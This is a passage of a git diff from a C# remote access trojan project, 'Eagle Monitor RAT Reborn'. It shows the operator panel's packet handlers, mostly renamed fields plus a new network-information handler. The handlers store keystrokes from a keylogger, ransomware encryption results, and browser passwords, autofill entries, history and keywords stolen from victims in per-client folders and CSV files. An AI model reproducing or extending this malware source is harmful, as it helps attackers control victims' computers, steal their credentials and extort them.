ClientHandler.ClientHandlersList[shortCutFileManagersPacket.BaseIp].ClientForm.fileManagerDataGridView.Sort(ClientHandler.ClientHandlersList[shortCutFileManagersPacket.BaseIp].ClientForm.Column12, System.ComponentModel.ListSortDirection.Ascending); foreach (var file in shortCutFileManagersPacket.filesAndDirs[1]) { Image btm = PacketLib.Utils.ImageProcessing.BytesToImage((byte[])file[1]); - int rowId = ClientHandler.ClientHandlersList[shortCutFileManagersPacket.baseIp].clientForm.fileManagerDataGridView.Rows.Add(); - DataGridViewRow row = ClientHandler.ClientHandlersList[shortCutFileManagersPacket.baseIp].clientForm.fileManagerDataGridView.Rows[rowId]; + int rowId = ClientHandler.ClientHandlersList[shortCutFileManagersPacket.BaseIp].ClientForm.fileManagerDataGridView.Rows.Add(); + DataGridViewRow row = ClientHandler.ClientHandlersList[shortCutFileManagersPacket.BaseIp].ClientForm.fileManagerDataGridView.Rows[rowId]; row.Cells["Column11"].Value = Misc.Utils.ResizeImage(btm, new Size(26, 26)); row.Cells["Column12"].Value = file[0].ToString(); row.Cells["Column13"].Value = "File"; diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/ChatPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/ChatPacketHandler.cs index 8d948146..f75c6521 100644 --- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/ChatPacketHandler.cs +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/ChatPacketHandler.cs @@ -12,18 +12,13 @@ namespace Eagle_Monitor_RAT_Reborn.PacketHandler { internal class ChatPacketHandler { - public ChatPacketHandler(RemoteChatPacket chatPacket): base()//, ClientHandler clientHandler) : base() + public ChatPacketHandler(RemoteChatPacket chatPacket): base() { - ClientHandler.ClientHandlersList[chatPacket.baseIp].clientForm.messageRichTextBox.BeginInvoke((MethodInvoker)(() => + ClientHandler.ClientHandlersList[chatPacket.BaseIp].ClientForm.messageRichTextBox.BeginInvoke((MethodInvoker)(() => { - ClientHandler.ClientHandlersList[chatPacket.baseIp].clientForm.messageRichTextBox.SelectionColor = Color.FromArgb(66, 182, 245); - ClientHandler.ClientHandlersList[chatPacket.baseIp].clientForm.messageRichTextBox.AppendText(chatPacket.msg); + ClientHandler.ClientHandlersList[chatPacket.BaseIp].ClientForm.messageRichTextBox.SelectionColor = Color.FromArgb(66, 182, 245); + ClientHandler.ClientHandlersList[chatPacket.BaseIp].ClientForm.messageRichTextBox.AppendText(chatPacket.msg); })); - /*ClientHandler.ClientHandlersList[chatPacket.baseIp].clientForm.messageRichTextBox.BeginInvoke((MethodInvoker)(() => - { - ClientHandler.ClientHandlersList[chatPacket.baseIp].clientForm.messageRichTextBox.SelectionColor = Color.FromArgb(66, 182, 245); - ClientHandler.ClientHandlersList[chatPacket.baseIp].clientForm.messageRichTextBox.AppendText(chatPacket.msg); - }));*/ } } } diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/InformationPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/InformationPacketHandler.cs index 053b2a1b..56fcb622 100644 --- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/InformationPacketHandler.cs +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/InformationPacketHandler.cs @@ -16,30 +16,30 @@ public InformationPacketHandler(InformationPacket informationPacket) : base()//, { try { - ClientHandler.ClientHandlersList[informationPacket.baseIp].clientForm.cpuDataGridView.BeginInvoke((MethodInvoker)(() => + ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.cpuDataGridView.BeginInvoke((MethodInvoker)(() => { - ClientHandler.ClientHandlersList[informationPacket.baseIp].clientForm.cpuDataGridView.Rows.Clear(); - ClientHandler.ClientHandlersList[informationPacket.baseIp].clientForm.componentsDataGridView.Rows.Clear(); - ClientHandler.ClientHandlersList[informationPacket.baseIp].clientForm.systemInformationDataGridView.Rows.Clear(); + ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.cpuDataGridView.Rows.Clear(); + ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.componentsDataGridView.Rows.Clear(); + ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.systemInformationDataGridView.Rows.Clear(); string[] cpuFeatures = informationPacket.information.hardwareInformation.cpuInformation["CPU"][0].Split('\n'); - int rowIdName = ClientHandler.ClientHandlersList[informationPacket.baseIp].clientForm.cpuDataGridView.Rows.Add(); + int rowIdName = ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.cpuDataGridView.Rows.Add(); - DataGridViewRow row = ClientHandler.ClientHandlersList[informationPacket.baseIp].clientForm.cpuDataGridView.Rows[rowIdName]; + DataGridViewRow row = ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.cpuDataGridView.Rows[rowIdName]; row.Cells["Column36"].Value = cpuFeatures[0]; - int rowIdVendor = ClientHandler.ClientHandlersList[informationPacket.baseIp].clientForm.cpuDataGridView.Rows.Add(); + int rowIdVendor = ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.cpuDataGridView.Rows.Add(); - row = ClientHandler.ClientHandlersList[informationPacket.baseIp].clientForm.cpuDataGridView.Rows[rowIdVendor]; + row = ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.cpuDataGridView.Rows[rowIdVendor]; row.Cells["Column36"].Value = cpuFeatures[1]; for (int i = 2; i < cpuFeatures.Length - 1; i++) { string[] SplitFeature = cpuFeatures[i].Split(' '); - int rowId = ClientHandler.ClientHandlersList[informationPacket.baseIp].clientForm.cpuDataGridView.Rows.Add(); + int rowId = ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.cpuDataGridView.Rows.Add(); - row = ClientHandler.ClientHandlersList[informationPacket.baseIp].clientForm.cpuDataGridView.Rows[rowId]; + row = ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.cpuDataGridView.Rows[rowId]; row.Cells["Column36"].Value = SplitFeature[0]; @@ -51,16 +51,16 @@ public InformationPacketHandler(InformationPacket informationPacket) : base()//, foreach (KeyValuePair hardware in informationPacket.information.hardwareInformation.hardwareInformation) { - int rowId = ClientHandler.ClientHandlersList[informationPacket.baseIp].clientForm.componentsDataGridView.Rows.Add(); - row = ClientHandler.ClientHandlersList[informationPacket.baseIp].clientForm.componentsDataGridView.Rows[rowId]; + int rowId = ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.componentsDataGridView.Rows.Add(); + row = ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.componentsDataGridView.Rows[rowId]; row.Cells["Column38"].Value = hardware.Key; row.Cells["Column39"].Value = hardware.Value; } foreach (KeyValuePair system in informationPacket.information.systemInformation.systemInformation) { - int rowId = ClientHandler.ClientHandlersList[informationPacket.baseIp].clientForm.systemInformationDataGridView.Rows.Add(); - row = ClientHandler.ClientHandlersList[informationPacket.baseIp].clientForm.systemInformationDataGridView.Rows[rowId]; + int rowId = ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.systemInformationDataGridView.Rows.Add(); + row = ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.systemInformationDataGridView.Rows[rowId]; row.Cells["Column40"].Value = system.Key; row.Cells["Column41"].Value = system.Value; } diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/KeylogOfflinePacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/KeylogOfflinePacketHandler.cs index a10e04d1..a5943845 100644 --- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/KeylogOfflinePacketHandler.cs +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/KeylogOfflinePacketHandler.cs @@ -14,8 +14,8 @@ internal class KeylogOfflinePacketHandler { public KeylogOfflinePacketHandler(KeylogOfflinePacket keylogOfflinePacket, ClientHandler clientHandler) { - Directory.CreateDirectory(ClientHandler.ClientHandlersList[keylogOfflinePacket.baseIp].clientPath + "\\Keystrokes\\"); - File.AppendAllText(ClientHandler.ClientHandlersList[keylogOfflinePacket.baseIp].clientPath + "\\Keystrokes\\" + "Offlinekeystrokes.txt", keylogOfflinePacket.keyStroke + "\n--------------------------------------------\nDATE : " + Utils.DateFormater() + "\n--------------------------------------------\n"); + Directory.CreateDirectory(ClientHandler.ClientHandlersList[keylogOfflinePacket.BaseIp].ClientPath + "\\Keystrokes\\"); + File.AppendAllText(ClientHandler.ClientHandlersList[keylogOfflinePacket.BaseIp].ClientPath + "\\Keystrokes\\" + "Offlinekeystrokes.txt", keylogOfflinePacket.keyStroke + "\n--------------------------------------------\nDATE : " + Utils.DateFormater() + "\n--------------------------------------------\n"); } } } diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/KeylogPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/KeylogPacketHandler.cs index b545d162..cd8b675b 100644 --- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/KeylogPacketHandler.cs +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/KeylogPacketHandler.cs @@ -15,9 +15,9 @@ public KeylogPacketHandler(KeylogPacket keylogPacket) : base()//, ClientHandler { try { - ClientHandler.ClientHandlersList[keylogPacket.baseIp].clientForm.keystrokeRichTextBox.BeginInvoke((MethodInvoker)(() => + ClientHandler.ClientHandlersList[keylogPacket.BaseIp].ClientForm.keystrokeRichTextBox.BeginInvoke((MethodInvoker)(() => { - ClientHandler.ClientHandlersList[keylogPacket.baseIp].clientForm.keystrokeRichTextBox.AppendText(keylogPacket.keyStroke); + ClientHandler.ClientHandlersList[keylogPacket.BaseIp].ClientForm.keystrokeRichTextBox.AppendText(keylogPacket.keyStroke); })); } catch { } diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/NetworkInformationPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/NetworkInformationPacketHandler.cs new file mode 100644 index 00000000..e003184d --- /dev/null +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/NetworkInformationPacketHandler.cs @@ -0,0 +1,39 @@ +using Eagle_Monitor_RAT_Reborn.Network; +using PacketLib.Packet; +using System.Windows.Forms; + +/* +|| AUTHOR Arsium || +|| github : https://github.com/arsium || +*/ + +namespace Eagle_Monitor_RAT_Reborn.PacketHandler +{ + internal class NetworkInformationPacketHandler + { + public NetworkInformationPacketHandler(NetworkInformationPacket networkInformationPacket) : base()//, ClientHandler clientHandler) : base() + { + try + { + ClientHandler.ClientHandlersList[networkInformationPacket.BaseIp].ClientForm.networkInformationDataGridView.BeginInvoke((MethodInvoker)(() => + { + ClientHandler.ClientHandlersList[networkInformationPacket.BaseIp].ClientForm.networkInformationDataGridView.Rows.Clear(); + foreach (TCPInformation tcpInformation in networkInformationPacket.tcpInformationList) + { + int rowId = ClientHandler.ClientHandlersList[networkInformationPacket.BaseIp].ClientForm.networkInformationDataGridView.Rows.Add(); + DataGridViewRow row = ClientHandler.ClientHandlersList[networkInformationPacket.BaseIp].ClientForm.networkInformationDataGridView.Rows[rowId]; + row.Cells["Column48"].Value = tcpInformation.PID.ToString(); + row.Cells["Column49"].Value = tcpInformation.processName; + row.Cells["Column50"].Value = tcpInformation.LocalEndPoint; + row.Cells["Column51"].Value = tcpInformation.RemoteEndPoint; + row.Cells["Column52"].Value = tcpInformation.State.ToString(); + } + + })); + } + catch { } + return; + + } + } +} diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Process/ProcessKillerPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Process/ProcessKillerPacketHandler.cs index cf8b04c5..d6902cf6 100644 --- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Process/ProcessKillerPacketHandler.cs +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Process/ProcessKillerPacketHandler.cs @@ -17,9 +17,9 @@ public ProcessKillerPacketHandler(ProcessKillerPacket packet) : base()//, Client { if (packet.killed) { - ClientHandler.ClientHandlersList[packet.baseIp].clientForm.processDataGridView.BeginInvoke((MethodInvoker)(() => + ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.processDataGridView.BeginInvoke((MethodInvoker)(() => { - ClientHandler.ClientHandlersList[packet.baseIp].clientForm.processDataGridView.Rows.Remove(ClientHandler.ClientHandlersList[packet.baseIp].clientForm.processDataGridView.Rows[packet.rowIndex]); + ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.processDataGridView.Rows.Remove(ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.processDataGridView.Rows[packet.rowIndex]); })); } } diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Process/ProcessManagerPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Process/ProcessManagerPacketHandler.cs index f41fbe4b..d0b9c520 100644 --- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Process/ProcessManagerPacketHandler.cs +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Process/ProcessManagerPacketHandler.cs @@ -18,14 +18,14 @@ public ProcessManagerPacketHandler(ProcessManagerPacket processManagerPacket) : { Bitmap resized = new Bitmap(Properties.Resources.imageres_15.ToBitmap(), new Size((int)(Properties.Resources.imageres_15.ToBitmap().Size.Width / 1.5), (int)(Properties.Resources.imageres_15.ToBitmap().Size.Height / 1.5))); - ClientHandler.ClientHandlersList[processManagerPacket.baseIp].clientForm.processDataGridView.BeginInvoke((MethodInvoker)(() => + ClientHandler.ClientHandlersList[processManagerPacket.BaseIp].ClientForm.processDataGridView.BeginInvoke((MethodInvoker)(() => { - ClientHandler.ClientHandlersList[processManagerPacket.baseIp].clientForm.processDataGridView.Rows.Clear(); + ClientHandler.ClientHandlersList[processManagerPacket.BaseIp].ClientForm.processDataGridView.Rows.Clear(); foreach (Proc proc in processManagerPacket.processes) { - int rowId = ClientHandler.ClientHandlersList[processManagerPacket.baseIp].clientForm.processDataGridView.Rows.Add(); + int rowId = ClientHandler.ClientHandlersList[processManagerPacket.BaseIp].ClientForm.processDataGridView.Rows.Add(); - DataGridViewRow row = ClientHandler.ClientHandlersList[processManagerPacket.baseIp].clientForm.processDataGridView.Rows[rowId]; + DataGridViewRow row = ClientHandler.ClientHandlersList[processManagerPacket.BaseIp].ClientForm.processDataGridView.Rows[rowId]; if (proc.processIcon != null) { row.Cells["Column15"].Value = new Bitmap(PacketLib.Utils.ImageProcessing.BytesToImage(proc.processIcon), resized.Size); diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Process/ResumeProcessPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Process/ResumeProcessPacketHandler.cs index 243a90ec..7d6bb1c4 100644 --- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Process/ResumeProcessPacketHandler.cs +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Process/ResumeProcessPacketHandler.cs @@ -18,9 +18,9 @@ public ResumeProcessPacketHandler(ResumeProcessPacket resumeProcessPacket) : bas { if (resumeProcessPacket.resumed) { - ClientHandler.ClientHandlersList[resumeProcessPacket.baseIp].clientForm.processDataGridView.BeginInvoke((MethodInvoker)(() => + ClientHandler.ClientHandlersList[resumeProcessPacket.BaseIp].ClientForm.processDataGridView.BeginInvoke((MethodInvoker)(() => { - ClientHandler.ClientHandlersList[resumeProcessPacket.baseIp].clientForm.processDataGridView.Rows[resumeProcessPacket.rowIndex].DefaultCellStyle.BackColor = Color.White; + ClientHandler.ClientHandlersList[resumeProcessPacket.BaseIp].ClientForm.processDataGridView.Rows[resumeProcessPacket.rowIndex].DefaultCellStyle.BackColor = Color.White; })); } } diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Process/SuspendProcessPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Process/SuspendProcessPacketHandler.cs index 87b45073..19ff3db4 100644 --- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Process/SuspendProcessPacketHandler.cs +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Process/SuspendProcessPacketHandler.cs @@ -18,9 +18,9 @@ public SuspendProcessPacketHandler(SuspendProcessPacket suspendProcessPacket) : { if (suspendProcessPacket.suspended) { - ClientHandler.ClientHandlersList[suspendProcessPacket.baseIp].clientForm.processDataGridView.BeginInvoke((MethodInvoker)(() => + ClientHandler.ClientHandlersList[suspendProcessPacket.BaseIp].ClientForm.processDataGridView.BeginInvoke((MethodInvoker)(() => { - ClientHandler.ClientHandlersList[suspendProcessPacket.baseIp].clientForm.processDataGridView.Rows[suspendProcessPacket.rowIndex].DefaultCellStyle.BackColor = Color.Red; + ClientHandler.ClientHandlersList[suspendProcessPacket.BaseIp].ClientForm.processDataGridView.Rows[suspendProcessPacket.rowIndex].DefaultCellStyle.BackColor = Color.Red; })); } } diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Ransomware/RansomareEncryptionConfirmationPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Ransomware/RansomareEncryptionConfirmationPacketHandler.cs index 282ab91f..5a9d2718 100644 --- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Ransomware/RansomareEncryptionConfirmationPacketHandler.cs +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Ransomware/RansomareEncryptionConfirmationPacketHandler.cs @@ -12,7 +12,7 @@ internal class RansomareEncryptionConfirmationPacketHandler { public RansomareEncryptionConfirmationPacketHandler(RansomwareConfirmationPacket packet) : base() { - System.IO.File.WriteAllText(ClientHandler.ClientHandlersList[packet.baseIp].clientPath + "\\Ransomware\\encrypted.json", packet.results); + System.IO.File.WriteAllText(ClientHandler.ClientHandlersList[packet.BaseIp].ClientPath + "\\Ransomware\\encrypted.json", packet.results); } } } diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Recovery/AutofillPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Recovery/AutofillPacketHandler.cs index d07aa4d4..024c3cda 100644 --- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Recovery/AutofillPacketHandler.cs +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Recovery/AutofillPacketHandler.cs @@ -18,15 +18,15 @@ public AutofillPacketHandler(AutofillPacket autofillPacket): base()//, ClientHan { try { - if (ClientHandler.ClientHandlersList[autofillPacket.baseIp].clientForm.autofillDataGridView != null) + if (ClientHandler.ClientHandlersList[autofillPacket.BaseIp].ClientForm.autofillDataGridView != null) { - ClientHandler.ClientHandlersList[autofillPacket.baseIp].clientForm.autofillDataGridView.BeginInvoke((MethodInvoker)(() => + ClientHandler.ClientHandlersList[autofillPacket.BaseIp].ClientForm.autofillDataGridView.BeginInvoke((MethodInvoker)(() => { - ClientHandler.ClientHandlersList[autofillPacket.baseIp].clientForm.autofillDataGridView.Rows.Clear(); + ClientHandler.ClientHandlersList[autofillPacket.BaseIp].ClientForm.autofillDataGridView.Rows.Clear(); foreach (object[] str in autofillPacket.autofillList) { - int rowId = ClientHandler.ClientHandlersList[autofillPacket.baseIp].clientForm.autofillDataGridView.Rows.Add(); - DataGridViewRow row = ClientHandler.ClientHandlersList[autofillPacket.baseIp].clientForm.autofillDataGridView.Rows[rowId]; + int rowId = ClientHandler.ClientHandlersList[autofillPacket.BaseIp].ClientForm.autofillDataGridView.Rows.Add(); + DataGridViewRow row = ClientHandler.ClientHandlersList[autofillPacket.BaseIp].ClientForm.autofillDataGridView.Rows[rowId]; row.Cells["Column21"].Value = str[0].ToString(); row.Cells["Column22"].Value = str[1].ToString(); row.Cells["Column23"].Value = str[2].ToString(); @@ -34,14 +34,14 @@ public AutofillPacketHandler(AutofillPacket autofillPacket): base()//, ClientHan row.Cells["Column25"].Value = str[4].ToString(); } if (Program.settings.autoSaveRecovery) - Utils.ToCSV(ClientHandler.ClientHandlersList[autofillPacket.baseIp].clientForm.autofillDataGridView, ClientHandler.ClientHandlersList[autofillPacket.baseIp].clientPath + "\\Autofill\\" + Utils.DateFormater() + ".csv"); + Utils.ToCSV(ClientHandler.ClientHandlersList[autofillPacket.BaseIp].ClientForm.autofillDataGridView, ClientHandler.ClientHandlersList[autofillPacket.BaseIp].ClientPath + "\\Autofill\\" + Utils.DateFormater() + ".csv"); return; })); } else - { Utils.ToCSV(autofillPacket.autofillList, ClientHandler.ClientHandlersList[autofillPacket.baseIp].clientPath + "\\Autofill\\" + Utils.DateFormater() + ".csv", new string[] { "Application", "Name", "Autofill", "Date created", "Last date used" }); } + { Utils.ToCSV(autofillPacket.autofillList, ClientHandler.ClientHandlersList[autofillPacket.BaseIp].ClientPath + "\\Autofill\\" + Utils.DateFormater() + ".csv", new string[] { "Application", "Name", "Autofill", "Date created", "Last date used" }); } } - catch { Utils.ToCSV(autofillPacket.autofillList, ClientHandler.ClientHandlersList[autofillPacket.baseIp].clientPath + "\\Autofill\\" + Utils.DateFormater() + ".csv", new string[] { "Application", "Name", "Autofill", "Date created", "Last date used" }); } + catch { Utils.ToCSV(autofillPacket.autofillList, ClientHandler.ClientHandlersList[autofillPacket.BaseIp].ClientPath + "\\Autofill\\" + Utils.DateFormater() + ".csv", new string[] { "Application", "Name", "Autofill", "Date created", "Last date used" }); } } else return; diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Recovery/HistoryPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Recovery/HistoryPacketHandler.cs index 4b582845..4ed2e4de 100644 --- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Recovery/HistoryPacketHandler.cs +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Recovery/HistoryPacketHandler.cs @@ -90,15 +90,15 @@ public HistoryPacketHandler(HistoryPacket historyPacket) : base()//, ClientHandl { try { - if (ClientHandler.ClientHandlersList[historyPacket.baseIp].clientForm.historyDataGridView != null) + if (ClientHandler.ClientHandlersList[historyPacket.BaseIp].ClientForm.historyDataGridView != null) { - ClientHandler.ClientHandlersList[historyPacket.baseIp].clientForm.historyDataGridView.BeginInvoke((MethodInvoker)(() => + ClientHandler.ClientHandlersList[historyPacket.BaseIp].ClientForm.historyDataGridView.BeginInvoke((MethodInvoker)(() => { - ClientHandler.ClientHandlersList[historyPacket.baseIp].clientForm.historyDataGridView.Rows.Clear(); + ClientHandler.ClientHandlersList[historyPacket.BaseIp].ClientForm.historyDataGridView.Rows.Clear(); foreach (object[] str in historyPacket.historyList) { - int rowId = ClientHandler.ClientHandlersList[historyPacket.baseIp].clientForm.historyDataGridView.Rows.Add(); - DataGridViewRow row = ClientHandler.ClientHandlersList[historyPacket.baseIp].clientForm.historyDataGridView.Rows[rowId]; + int rowId = ClientHandler.ClientHandlersList[historyPacket.BaseIp].ClientForm.historyDataGridView.Rows.Add(); + DataGridViewRow row = ClientHandler.ClientHandlersList[historyPacket.BaseIp].ClientForm.historyDataGridView.Rows[rowId]; row.Cells["Column5"].Value = str[0].ToString(); row.Cells["Column6"].Value = str[1].ToString(); row.Cells["Column7"].Value = str[2].ToString(); @@ -106,15 +106,15 @@ public HistoryPacketHandler(HistoryPacket historyPacket) : base()//, ClientHandl row.Cells["Column9"].Value = str[4].ToString(); } if (Program.settings.autoSaveRecovery) - Utils.ToCSV(ClientHandler.ClientHandlersList[historyPacket.baseIp].clientForm.historyDataGridView, ClientHandler.ClientHandlersList[historyPacket.baseIp].clientPath + "\\History\\" + Utils.DateFormater() + ".csv"); + Utils.ToCSV(ClientHandler.ClientHandlersList[historyPacket.BaseIp].ClientForm.historyDataGridView, ClientHandler.ClientHandlersList[historyPacket.BaseIp].ClientPath + "\\History\\" + Utils.DateFormater() + ".csv"); return; })); } else - { Utils.ToCSV(historyPacket.historyList, ClientHandler.ClientHandlersList[historyPacket.baseIp].clientPath + "\\History\\" + Utils.DateFormater() + ".csv", new string[] { "Application", "Title", "URL", "Date", "Visit count" }); } + { Utils.ToCSV(historyPacket.historyList, ClientHandler.ClientHandlersList[historyPacket.BaseIp].ClientPath + "\\History\\" + Utils.DateFormater() + ".csv", new string[] { "Application", "Title", "URL", "Date", "Visit count" }); } } catch - { Utils.ToCSV(historyPacket.historyList, ClientHandler.ClientHandlersList[historyPacket.baseIp].clientPath + "\\History\\" + Utils.DateFormater() + ".csv", new string[] { "Application", "Title", "URL", "Date", "Visit count" }); } + { Utils.ToCSV(historyPacket.historyList, ClientHandler.ClientHandlersList[historyPacket.BaseIp].ClientPath + "\\History\\" + Utils.DateFormater() + ".csv", new string[] { "Application", "Title", "URL", "Date", "Visit count" }); } } else return; diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Recovery/KeywordsPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Recovery/KeywordsPacketHandler.cs index 1dbec53a..599b295f 100644 --- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Recovery/KeywordsPacketHandler.cs +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Recovery/KeywordsPacketHandler.cs @@ -18,27 +18,27 @@ public KeywordsPacketHandler(KeywordsPacket keywordsPacket) : base()//, ClientHa { try { - if (ClientHandler.ClientHandlersList[keywordsPacket.baseIp].clientForm.keywordsDataGridView != null) + if (ClientHandler.ClientHandlersList[keywordsPacket.BaseIp].ClientForm.keywordsDataGridView != null) { - ClientHandler.ClientHandlersList[keywordsPacket.baseIp].clientForm.keywordsDataGridView.BeginInvoke((MethodInvoker)(() => + ClientHandler.ClientHandlersList[keywordsPacket.BaseIp].ClientForm.keywordsDataGridView.BeginInvoke((MethodInvoker)(() => { - ClientHandler.ClientHandlersList[keywordsPacket.baseIp].clientForm.keywordsDataGridView.Rows.Clear(); + ClientHandler.ClientHandlersList[keywordsPacket.BaseIp].ClientForm.keywordsDataGridView.Rows.Clear(); foreach (object[] str in keywordsPacket.keywordsList) { - int rowId = ClientHandler.ClientHandlersList[keywordsPacket.baseIp].clientForm.keywordsDataGridView.Rows.Add(); - DataGridViewRow row = ClientHandler.ClientHandlersList[keywordsPacket.baseIp].clientForm.keywordsDataGridView.Rows[rowId]; + int rowId = ClientHandler.ClientHandlersList[keywordsPacket.BaseIp].ClientForm.keywordsDataGridView.Rows.Add(); + DataGridViewRow row = ClientHandler.ClientHandlersList[keywordsPacket.BaseIp].ClientForm.keywordsDataGridView.Rows[rowId]; row.Cells["Column26"].Value = str[0].ToString(); row.Cells["Column27"].Value = str[1].ToString(); } if (Program.settings.autoSaveRecovery) - Utils.ToCSV(ClientHandler.ClientHandlersList[keywordsPacket.baseIp].clientForm.keywordsDataGridView, ClientHandler.ClientHandlersList[keywordsPacket.baseIp].clientPath + "\\Keywords\\" + Utils.DateFormater() + ".csv"); + Utils.ToCSV(ClientHandler.ClientHandlersList[keywordsPacket.BaseIp].ClientForm.keywordsDataGridView, ClientHandler.ClientHandlersList[keywordsPacket.BaseIp].ClientPath + "\\Keywords\\" + Utils.DateFormater() + ".csv"); return; })); } else - { Utils.ToCSV(keywordsPacket.keywordsList, ClientHandler.ClientHandlersList[keywordsPacket.baseIp].clientPath + "\\Keywords\\" + Utils.DateFormater() + ".csv", new string[] { "Application", "Keyword" }); } + { Utils.ToCSV(keywordsPacket.keywordsList, ClientHandler.ClientHandlersList[keywordsPacket.BaseIp].ClientPath + "\\Keywords\\" + Utils.DateFormater() + ".csv", new string[] { "Application", "Keyword" }); } } - catch { Utils.ToCSV(keywordsPacket.keywordsList, ClientHandler.ClientHandlersList[keywordsPacket.baseIp].clientPath + "\\Keywords\\" + Utils.DateFormater() + ".csv", new string[] { "Application", "Keyword" }); } + catch { Utils.ToCSV(keywordsPacket.keywordsList, ClientHandler.ClientHandlersList[keywordsPacket.BaseIp].ClientPath + "\\Keywords\\" + Utils.DateFormater() + ".csv", new string[] { "Application", "Keyword" }); } } else return; diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Recovery/PasswordsPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Recovery/PasswordsPacketHandler.cs index ba19203e..6cb1f4c8 100644 --- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Recovery/PasswordsPacketHandler.cs +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Recovery/PasswordsPacketHandler.cs @@ -18,29 +18,29 @@ public PasswordsPacketHandler(PasswordsPacket passwordsPacket) :base()//, Client { try { - if (ClientHandler.ClientHandlersList[passwordsPacket.baseIp].clientForm.passwordsDataGridView != null) + if (ClientHandler.ClientHandlersList[passwordsPacket.BaseIp].ClientForm.passwordsDataGridView != null) { - ClientHandler.ClientHandlersList[passwordsPacket.baseIp].clientForm.passwordsDataGridView.BeginInvoke((MethodInvoker)(() => + ClientHandler.ClientHandlersList[passwordsPacket.BaseIp].ClientForm.passwordsDataGridView.BeginInvoke((MethodInvoker)(() => { - ClientHandler.ClientHandlersList[passwordsPacket.baseIp].clientForm.passwordsDataGridView.Rows.Clear(); + 